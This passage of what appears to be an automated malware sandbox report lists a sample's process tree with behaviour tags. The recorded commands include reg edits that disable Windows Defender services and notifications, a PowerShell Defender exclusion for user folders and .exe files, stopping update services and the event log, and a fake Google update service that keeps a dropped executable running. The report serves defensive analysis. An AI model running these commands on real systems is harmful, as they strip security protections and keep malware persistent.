        reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies Security services
        System Location Discovery: System Language Discovery
        
        PID:5484
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
        7⤵
        Modifies security service
        System Location Discovery: System Language Discovery
        
        PID:3872
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3960
        
        C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1216
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows Defender Security Center\Notifications" /v "DisableNotifications" /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender notification settings
        System Location Discovery: System Language Discovery
        
        PID:5716
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender Security Center\Notifications" /v "DisableEnhancedNotifications " /t REG_DWORD /d "1" /f
        7⤵
        Modifies Windows Defender notification settings
        System Location Discovery: System Language Discovery
        
        PID:4352
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v "Enabled" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4388
      - C:\Users\Admin\j5JZglG6\dWCd28E6v1Q\chrome_144.exe
        
        "C:\Users\Admin\j5JZglG6\dWCd28E6v1Q\chrome_144.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3900
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        6⤵
        
        PID:3264
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c start "" "C:\Users\Admin\AppData\Local\Temp\7dNTEKTsLz.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3712
  - - C:\Users\Admin\AppData\Local\Temp\7dNTEKTsLz.exe
      "C:\Users\Admin\AppData\Local\Temp\7dNTEKTsLz.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Drops file in Drivers directory
      Checks BIOS information in registry
      Executes dropped EXE
      Checks whether UAC is enabled
      Drops file in System32 directory
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      PID:5052
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5584
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:1056
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:5952
      - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:4992
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:2488
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:4880
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:3764
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        5⤵
        Launches sc.exe
        
        PID:3472
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        5⤵
        Launches sc.exe
        
        PID:4904
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:5564
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:5748
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        5⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2580
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        5⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:5128
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        5⤵
        
        PID:1648
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
        5⤵
        Launches sc.exe
        
        PID:2576
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
        5⤵
        Launches sc.exe
        
        PID:2996
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        5⤵
        Launches sc.exe
        
        PID:3320
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
        5⤵
        Launches sc.exe
        
        PID:4464
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4428
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffa546dc728,0x7ffa546dc734,0x7ffa546dc740
    3⤵
    PID:3528
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1748,i,17976023314728046629,14169180963129586272,262144 --field-trial-handle=2104,i,4219654506275765862,13082334350093182473,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2092 /prefetch:2
    3⤵
    PID:4860
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1604,i,15410554303360749015,18150680520018073198,524288 --field-trial-handle=2104,i,4219654506275765862,13082334350093182473,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2208 /prefetch:3
    3⤵
    - System Time Discovery
    PID:4876
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2416,i,13187946782730531121,10246868795798187335,524288 --field-trial-handle=2104,i,4219654506275765862,13082334350093182473,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2616 /prefetch:8
    3⤵
    PID:4376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3212,i,4549774682128409220,5599993902828324624,2097152 --field-trial-handle=2104,i,4219654506275765862,13082334350093182473,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3224 /prefetch:1
    3⤵
    PID:1636
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2684,i,11295605521226305597,14021866745131635276,2097152 --field-trial-handle=2104,i,4219654506275765862,13082334350093182473,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3236 /prefetch:1
    3⤵
    PID:4004
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4424,i,12880425580228172336,1489453951182662764,2097152 --field-trial-handle=2104,i,4219654506275765862,13082334350093182473,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4440 /prefetch:2
    3⤵
    PID:5652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4692,i,6978498318801099798,13925422953820308490,2097152 --field-trial-handle=2104,i,4219654506275765862,13082334350093182473,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4764 /prefetch:1
    3⤵
    PID:3504
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5536,i,821780616151437576,9253737175229390742,524288 --field-trial-handle=2104,i,4219654506275765862,13082334350093182473,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5484 /prefetch:8
    3⤵
    PID:2752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5540,i,6596280035449641958,16181554658026330742,524288 --field-trial-handle=2104,i,4219654506275765862,13082334350093182473,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5556 /prefetch:8
    3⤵
    PID:5456
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5624,i,13101393008266017009,18418493844403982771,524288 --field-trial-handle=2104,i,4219654506275765862,13082334350093182473,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5752 /prefetch:8
    3⤵
    PID:1956
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5548,i,7451967389880005593,15493799385354300758,524288 --field-trial-handle=2104,i,4219654506275765862,13082334350093182473,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5736 /prefetch:8
    3⤵
    PID:5328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  2⤵
  PID:2332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch
    3⤵
    PID:852
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x258,0x25c,0x260,0x254,0x2f0,0x7ffa3c9dc188,0x7ffa3c9dc194,0x7ffa3c9dc1a0
      4⤵
      PID:1116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1892,i,998676574482903362,8448858646259470174,262144 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=2276 /prefetch:2
      4⤵
      PID:2788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2040,i,10176861267238688984,8405105605827725591,524288 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:3
      4⤵
      System Time Discovery
      PID:5404
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2496,i,6605675461131501735,3545764870539950063,524288 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:8
      4⤵
      PID:1920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3384,i,9693055604991257614,11995117418826626933,2097152 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=3408 /prefetch:1
      4⤵
      PID:176
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3400,i,12288293504695636894,3761567036745930775,2097152 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=3428 /prefetch:1
      4⤵
      PID:6136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4840,i,2215170643889704388,12205785136327362523,524288 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:3
      4⤵
      System Time Discovery
      PID:712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4880,i,14040962364575056129,8135030577760370730,524288 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:8
      4⤵
      PID:5668
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4832,i,9705518721366197663,10515002360525048606,524288 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:8
      4⤵
      PID:1960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5576,i,4101804575041896132,1484690700666089413,524288 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=5592 /prefetch:8
      4⤵
      PID:1120
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5576,i,4101804575041896132,1484690700666089413,524288 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=5592 /prefetch:8
      4⤵
      PID:5080
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5852,i,15365181754785068013,7964132042574020366,524288 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=5860 /prefetch:8
      4⤵
      PID:416
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5856,i,17117585490410296978,3273221953158316626,524288 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=3508 /prefetch:8
      4⤵
      PID:3748
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5872,i,15652683185838556518,12775823983527310609,524288 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=5956 /prefetch:8
      4⤵
      PID:1736
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5860,i,16917417913457475297,9797718289340609784,524288 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:8
      4⤵
      PID:2456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5928,i,10039152529996041502,10087062102905845378,524288 --field-trial-handle=2280,i,5859105322359122154,12935374681581571976,262144 --variations-seed-version --mojo-platform-channel-handle=5856 /prefetch:8
      4⤵
      PID:2060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3404

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3588

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3740

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4104

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4496

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:5500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:5352

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1728

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:6140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:976

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3456

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:6064

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks processor information in registry
PID:2140

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:5392

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:6112

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4272

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4440

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5860

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5748

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:5984

C:\ProgramData\Chrome146\Chrome145.exe
C:\ProgramData\Chrome146\Chrome145.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
PID:5784

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {c08afd90-f2a1-11d1-8455-00a0c91f3880} -Embedding
1⤵
PID:3180

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:4728

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:632

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5972

C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
PID:2156
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:5472
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2752
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:728
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2492
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2332
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:4660
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:656
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:5908
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:676
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3780
- C:\Windows\system32\powercfg.exe
